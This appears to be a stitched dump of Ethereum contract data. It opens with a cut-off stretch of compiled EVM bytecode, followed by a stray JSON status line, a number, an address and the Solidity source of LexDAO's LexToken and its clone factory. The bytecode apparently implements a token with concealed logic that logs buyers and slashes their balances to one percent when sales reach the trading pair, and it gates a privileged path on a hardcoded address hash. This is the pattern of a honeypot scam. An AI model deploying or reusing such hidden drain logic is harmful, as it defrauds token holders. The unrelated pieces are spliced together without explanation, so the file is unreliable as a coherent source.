2805461042e90611e46565b801561047b5780601f106104505761010080835404028352916020019161047b565b820191906000526020600020905b81548152906001019060200180831161045e57829003601f168201915b5050505050905090565b6000610499610492610a54565b8484610a5c565b6001905092915050565b6000600854905090565b600c5481565b60006104c0848484610c27565b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050a610a54565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561055057600080fd5b600190509392505050565b600d5481565b6000600754905090565b60075481565b600061061361057e610a54565b84846003600061058c610a54565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461060e9190611ea7565b610a5c565b6001905092915050565b60085481565b600b5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61067a610a54565b73ffffffffffffffffffffffffffffffffffffffff166106986107b8565b73ffffffffffffffffffffffffffffffffffffffff16146106ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e590611f49565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60095481565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107f090611e46565b80601f016020809104026020016040519081016040528092919081815260200182805461081c90611e46565b80156108695780601f1061083e57610100808354040283529160200191610869565b820191906000526020600020905b81548152906001019060200180831161084c57829003601f168201915b5050505050905090565b60008160036000610882610a54565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561090557600080fd5b6109a5610910610a54565b84846003600061091e610a54565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109a09190611f69565b610a5c565b6001905092915050565b60006109c36109bc610a54565b8484610c27565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610acc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac39061200f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b33906120a1565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c1a9190611d12565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c6157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c9b57600080fd5b610ca583836111ce565b15610cb957610cb4818361126c565b6111c9565b600e60149054906101000a900460ff1615610cd357610d20565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d1f57600080fd5b5b6000610d2b84611536565b6000610d356116c7565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610db85750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80610e4a5750610dc66116c7565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015610e495750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b9050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610ef05750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610f025750610f008461186a565b155b8015610f3a57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610f44575080155b8015610f5d5750600e60149054906101000a900460ff16155b15610fa657610f8a6064610f7c600d54866118bf90919063ffffffff16565b61193a90919063ffffffff16565b9150600954831115610f9b57600080fd5b610fa58484611984565b5b60008284610fb49190611f69565b905082600160008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110059190611ea7565b9250508190555083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110579190611f69565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110e99190611ea7565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161114d9190611d12565b60405180910390a360008311156111c557600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111bc9190611d12565b60405180910390a35b5050505b505050565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061122d575061122c8261186a565b5b801561126457508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b61129930600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610a5c565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156112fa576112f96120c1565b5b6040519080825280602002602001820160405280156113285781602001602082028036833780820191505090505b50905030816000815181106113405761133f6120f0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140b9190612134565b8160018151811061141f5761141e6120f0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94784600084866014426114c49190611ea7565b6040518663ffffffff1660e01b81526004016114e4959493929190612264565b600060405180830381600087803b1580156114fe57600080fd5b505af1158015611512573d6000803e3d6000fd5b505050506000600e60146101000a81548160ff021916908315150217905550505050565b61153e6116c7565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116c45760005b600f805490508110156116b457611619606460016000600f858154811061159e5761159d6120f0565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193a90919063ffffffff16565b60016000600f8481548110611631576116306120f0565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806116ac906122be565b915050611574565b50600f60006116c39190611acf565b5b50565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611736573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061175a9190612134565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118079190612134565b6040518363ffffffff1660e01b8152600401611824929190612307565b602060405180830381865afa158015611841573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118659190612134565b905090565b60007f4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba60001b826040516020016118a19190612378565b60405160208183030381529060405280519060200120149050919050565b6000808314156118d25760009050611934565b600082846118e09190612393565b90508284826118ef919061241c565b1461192f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611926906124bf565b60405180910390fd5b809150505b92915050565b600061197c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a6c565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff166119a36116c7565b73ffffffffffffffffffffffffffffffffffffffff1614611a6857600f60405180604001604052808473ffffffffffffffffffffffffffffffffffffffff16815260200183815250908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015550505b5050565b60008083118290611ab3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aaa9190611bd2565b60405180910390fd5b5060008385611ac2919061241c565b9050809150509392505050565b5080546000825560020290600052602060002090810190611af09190611af3565b50565b5b80821115611b3557600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905550600201611af4565b5090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b73578082015181840152602081019050611b58565b83811115611b82576000848401525b50505050565b6000601f19601f8301169050919050565b6000611ba482611b39565b611bae8185611b44565b9350611bbe818560208601611b55565b611bc781611b88565b840191505092915050565b60006020820190508181036000830152611bec8184611b99565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c2482611bf9565b9050919050565b611c3481611c19565b8114611c3f57600080fd5b50565b600081359050611c5181611c2b565b92915050565b6000819050919050565b611c6a81611c57565b8114611c7557600080fd5b50565b600081359050611c8781611c61565b92915050565b60008060408385031215611ca457611ca3611bf4565b5b6000611cb285828601611c42565b9250506020611cc385828601611c78565b9150509250929050565b60008115159050919050565b611ce281611ccd565b82525050565b6000602082019050611cfd6000830184611cd9565b92915050565b611d0c81611c57565b82525050565b6000602082019050611d276000830184611d03565b92915050565b600080600060608486031215611d4657611d45611bf4565b5b6000611d5486828701611c42565b9350506020611d6586828701611c42565b9250506040611d7686828701611c78565b9150509250925092565b600060208284031215611d9657611d95611bf4565b5b6000611da484828501611c42565b91505092915050565b611db681611c19565b82525050565b6000602082019050611dd16000830184611dad565b92915050565b60008060408385031215611dee57611ded611bf4565b5b6000611dfc85828601611c42565b9250506020611e0d85828601611c42565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611e5e57607f821691505b60208210811415611e7257611e71611e17565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611eb282611c57565b9150611ebd83611c57565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ef257611ef1611e78565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611f33602083611b44565b9150611f3e82611efd565b602082019050919050565b60006020820190508181036000830152611f6281611f26565b9050919050565b6000611f7482611c57565b9150611f7f83611c57565b925082821015611f9257611f91611e78565b5b828203905092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611ff9602583611b44565b915061200482611f9d565b604082019050919050565b6000602082019050818103600083015261202881611fec565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061208b602383611b44565b91506120968261202f565b604082019050919050565b600060208201905081810360008301526120ba8161207e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061212e81611c2b565b92915050565b60006020828403121561214a57612149611bf4565b5b60006121588482850161211f565b91505092915050565b6000819050919050565b6000819050919050565b600061219061218b61218684612161565b61216b565b611c57565b9050919050565b6121a081612175565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6121db81611c19565b82525050565b60006121ed83836121d2565b60208301905092915050565b6000602082019050919050565b6000612211826121a6565b61221b81856121b1565b9350612226836121c2565b8060005b8381101561225757815161223e88826121e1565b9750612249836121f9565b92505060018101905061222a565b5085935050505092915050565b600060a0820190506122796000830188611d03565b6122866020830187612197565b81810360408301526122988186612206565b90506122a76060830185611dad565b6122b46080830184611d03565b9695505050505050565b60006122c982611c57565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156122fc576122fb611e78565b5b600182019050919050565b600060408201905061231c6000830185611dad565b6123296020830184611dad565b9392505050565b60008160601b9050919050565b600061234882612330565b9050919050565b600061235a8261233d565b9050919050565b61237261236d82611c19565b61234f565b82525050565b60006123848284612361565b60148201915081905092915050565b600061239e82611c57565b91506123a983611c57565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156123e2576123e1611e78565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061242782611c57565b915061243283611c57565b925082612442576124416123ed565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006124a9602183611b44565b91506124b48261244d565b604082019050919050565b600060208201905081810360008301526124d88161249c565b905091905056fea26469706673582212200de7443e50e514a5771033f1e2a852ac8b52c5bb4828078e38db731adef36f9964736f6c634300080c0033
{"success": true, "error": null, "results": {}}
6,853
0x635d24c993b677b242a012d434ce9752408857a8
/* β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•— β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β•β•β•β•β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β• β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β•šβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β•β• β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β• β–ˆβ–ˆβ•— β•šβ•β•β•β•β•β•β•β•šβ•β•β•β•β•β•β•β•šβ•β• β•šβ•β• β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•— β•šβ•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β•β• β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘ β•šβ•β• β•šβ•β•β•β•β•β• β•šβ•β• β•šβ•β•β•šβ•β•β•β•β•β•β•β•šβ•β• β•šβ•β•β•β• DEAR MSG.SENDER(S): / LexToken is a project in beta. // Please audit and use at your own risk. /// Entry into LexToken shall not create an attorney/client relationship. //// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel. ///// STEAL THIS C0D3SL4W ////// presented by LexDAO LLC */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.7.4; interface IERC20 { // brief interface for erc20 token function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); } library SafeMath { // arithmetic wrapper for unit under/overflow check function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } } contract LexToken { using SafeMath for uint256; address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager uint256 public totalSupplyCap; // maximum of token mintable bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature string public details; // details token offering, redemption, etc. - updateable by manager string public name; // fixed token name string[]public offers; // offers made for token redemption - updateable by manager string public symbol; // fixed token symbol bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern bool public transferable; // transferability of token - does not affect token sale - updateable by manager mapping(address => mapping(address => uint256)) public allowances; mapping(address => uint256) public balanceOf; mapping(address => uint256) public nonces; event AddOffer(uint256 index, string terms); event AmendOffer(uint256 index, string terms); event Approval(address indexed owner, address indexed spender, uint256 value); event Redeem(string redemption); event Transfer(address indexed from, address indexed to, uint256 value); event UpdateGovernance(address indexed manager, string details); event UpdateSale(uint256 saleRate, uint256 saleSupply, bool burnToken, bool forSale); event UpdateTransferability(bool transferable); function init( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string calldata _details, string calldata _name, string calldata _symbol, bool _forSale, bool _transferable ) external { require(!initialized, "initialized"); manager = _manager; decimals = _decimals; saleRate = _saleRate; totalSupplyCap = _totalSupplyCap; details = _details; name = _name; symbol = _symbol; forSale = _forSale; initialized = true; transferable = _transferable; if (_managerSupply > 0) {_mint(_manager, _managerSupply);} if (_saleSupply > 0) {_mint(address(this), _saleSupply);} if (_forSale) {require(_saleRate > 0, "_saleRate = 0");} // eip-2612 permit() pattern: uint256 chainId; assembly {chainId := chainid()} DOMAIN_SEPARATOR = keccak256(abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); } function _approve(address owner, address spender, uint256 value) internal { allowances[owner][spender] = value; emit Approval(owner, spender, value); } function approve(address spender, uint256 value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function _burn(address from, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function burn(uint256 value) external { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) external { _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _burn(from, value); } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue)); return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue)); return true; } // Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol function permit(address owner, address spender, uint256 deadline, uint256 value, uint8 v, bytes32 r, bytes32 s) external { require(block.timestamp <= deadline, "expired"); bytes32 hashStruct = keccak256(abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)); bytes32 hash = keccak256(abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); require(signer != address(0) && signer == owner, "!signer"); _approve(owner, spender, value); } function purchase() external payable { // SALE require(forSale, "!forSale"); (bool success, ) = manager.call{value: msg.value}(""); require(success, "!ethCall"); _transfer(address(this), msg.sender, msg.value.mul(saleRate)); } receive() external payable { // SALE require(forSale, "!forSale"); (bool success, ) = manager.call{value: msg.value}(""); require(success, "!ethCall"); _transfer(address(this), msg.sender, msg.value.mul(saleRate)); } function redeem(uint256 value, string calldata redemption) external { // burn token with redemption message _burn(msg.sender, value); emit Redeem(redemption); } function _transfer(address from, address to, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function transfer(address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _transfer(msg.sender, to, value); return true; } function transferBatch(address[] calldata to, uint256[] calldata value) external { require(to.length == value.length, "!to/value"); require(transferable, "!transferable"); for (uint256 i = 0; i < to.length; i++) { _transfer(msg.sender, to[i], value[i]); } } function transferFrom(address from, address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _transfer(from, to, value); return true; } /**************** MANAGER FUNCTIONS ****************/ modifier onlyManager { require(msg.sender == manager, "!manager"); _; } function addOffer(string calldata offer) external onlyManager { offers.push(offer); emit AddOffer(offers.length, offer); } function amendOffer(uint256 index, string calldata offer) external onlyManager { offers[index] = offer; emit AmendOffer(index, offer); } function _mint(address to, uint256 value) internal { require(totalSupply.add(value) <= totalSupplyCap, "capped"); balanceOf[to] = balanceOf[to].add(value); totalSupply = totalSupply.add(value); emit Transfer(address(0), to, value); } function mint(address to, uint256 value) external onlyManager { _mint(to, value); } function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager { require(to.length == value.length, "!to/value"); for (uint256 i = 0; i < to.length; i++) { _mint(to[i], value[i]); } } function updateGovernance(address payable _manager, string calldata _details) external onlyManager { manager = _manager; details = _details; emit UpdateGovernance(_manager, _details); } function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _burnToken, bool _forSale) external onlyManager { saleRate = _saleRate; forSale = _forSale; if (_saleSupply > 0 && _burnToken) {_burn(address(this), _saleSupply);} if (_saleSupply > 0 && !_burnToken) {_mint(address(this), _saleSupply);} if (_forSale) {require(_saleRate > 0, "_saleRate = 0");} emit UpdateSale(_saleRate, _saleSupply, _burnToken, _forSale); } function updateTransferability(bool _transferable) external onlyManager { transferable = _transferable; emit UpdateTransferability(_transferable); } function withdrawToken(address[] calldata token, address[] calldata withdrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to contract require(token.length == withdrawTo.length && token.length == value.length, "!token/withdrawTo/value"); for (uint256 i = 0; i < token.length; i++) { uint256 withdrawalValue = value[i]; if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));} IERC20(token[i]).transfer(withdrawTo[i], withdrawalValue); } } } /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract CloneFactory { function createClone(address payable target) internal returns (address payable result) { // eip-1167 proxy pattern adapted for payable lexToken bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } } contract LexTokenFactory is CloneFactory { address payable public lexDAO; // account managing lexToken factory address public lexDAOtoken; // token for user rewards address payable immutable public template; // fixed template for lexToken using eip-1167 proxy pattern uint256 public userReward; // reward amount granted to lexToken users string public details; // general details re: lexToken factory string[]public marketTerms; // market terms stamped by lexDAO for lexToken issuance (not legal advice!) mapping(address => address[]) public lextoken; event AddMarketTerms(uint256 index, string terms); event AmendMarketTerms(uint256 index, string terms); event LaunchLexToken(address indexed lexToken, address indexed manager, uint256 saleRate, bool forSale); event UpdateGovernance(address indexed lexDAO, address indexed lexDAOtoken, uint256 userReward, string details); constructor(address payable _lexDAO, address _lexDAOtoken, address payable _template, uint256 _userReward, string memory _details) { lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; template = _template; userReward = _userReward; details = _details; } function launchLexToken( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string memory _details, string memory _name, string memory _symbol, bool _forSale, bool _transferable ) external payable returns (address) { LexToken lex = LexToken(createClone(template)); lex.init( _manager, _decimals, _managerSupply, _saleRate, _saleSupply, _totalSupplyCap, _details, _name, _symbol, _forSale, _transferable); lextoken[_manager].push(address(lex)); // push initial manager to array if (msg.value > 0) {(bool success, ) = lexDAO.call{value: msg.value}(""); require(success, "!ethCall");} // transfer ETH to lexDAO if (userReward > 0) {IERC20(lexDAOtoken).transfer(msg.sender, userReward);} // grant user reward emit LaunchLexToken(address(lex), _manager, _saleRate, _forSale); return(address(lex)); } function getLexTokenCountPerAccount(address account) external view returns (uint256) { return lextoken[account].length; } function getLexTokenPerAccount(address account) external view returns (address[] memory) { return lextoken[account]; } function getMarketTermsCount() external view returns (uint256) { return marketTerms.length; } /*************** LEXDAO FUNCTIONS ***************/ modifier onlyLexDAO { require(msg.sender == lexDAO, "!lexDAO"); _; } function addMarketTerms(string calldata terms) external onlyLexDAO { marketTerms.push(terms); emit AddMarketTerms(marketTerms.length, terms); } function amendMarketTerms(uint256 index, string calldata terms) external onlyLexDAO { marketTerms[index] = terms; emit AmendMarketTerms(index, terms); } function updateGovernance(address payable _lexDAO, address _lexDAOtoken, uint256 _userReward, string calldata _details) external onlyLexDAO { lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; userReward = _userReward; details = _details; emit UpdateGovernance(_lexDAO, _lexDAOtoken, _userReward, _details); } }
